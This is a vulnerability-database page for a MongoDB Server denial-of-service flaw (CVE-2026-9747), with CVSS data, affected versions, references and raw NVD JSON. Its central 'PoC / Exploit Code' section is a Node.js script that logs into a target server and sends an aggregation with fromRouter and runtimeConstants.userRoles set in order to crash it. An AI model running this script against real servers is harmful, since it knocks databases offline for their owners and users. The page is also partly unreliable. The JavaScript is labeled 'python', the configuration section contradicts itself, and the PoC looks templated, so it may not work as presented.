CVE-2026-9747

Description

Adding fromRouter:true and runtimeConstants.userRoles could cause aggregations to crash mongodb server.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server < 7.0.12

MongoDB Server 7.1.x < 7.1.5

MongoDB Server 7.2.x < 7.2.2

MongoDB Server 7.3.x < 7.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-9747 PoC - MongoDB Server DoS via Aggregation
// This PoC demonstrates how to trigger the vulnerability

// Setup MongoDB connection
const { MongoClient } = require('mongodb');

async function exploitCVE20269747() {
    const uri = 'mongodb://target:27017/test';
    const client = new MongoClient(uri, { auth: { user: 'attacker', password: 'password' } });
    
    try {
        await client.connect();
        const db = client.db('test');
        const collection = db.collection('vulnerable_data');
        
        // Malicious aggregation with fromRouter:true and runtimeConstants.userRoles
        const maliciousPipeline = [
            { $match: { _id: 1 } },
            { $lookup: {
                from: 'users',
                let: { userId: '$_id' },
                pipeline: [
                    { $match: { $expr: { $eq: ['$$userId', '$_id'] } } }
                ],
                as: 'userData'
            }}
        ];
        
        // Trigger the vulnerability with malicious parameters
        const result = await collection.aggregate(maliciousPipeline, {
            fromRouter: true,
            runtimeConstants: {
                userRoles: {
                    role: 'admin',
                    privileges: []
                }
            }
        }).toArray();
        
        console.log('Exploitation completed');
    } catch (error) {
        console.log('Server crashed or error occurred:', error.message);
    } finally {
        await client.close();
    }
}

exploitCVE20269747();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9747
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9747
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9747/
[4] VulDB https://vuldb.com/cve/CVE-2026-9747
[5] https://jira.mongodb.org/browse/SERVER-123918

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9747", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:04.120", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adding fromRouter:true and runtimeConstants.userRoles could cause aggregations to crash mongodb server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-123918", "source": "[email protected]"}]}}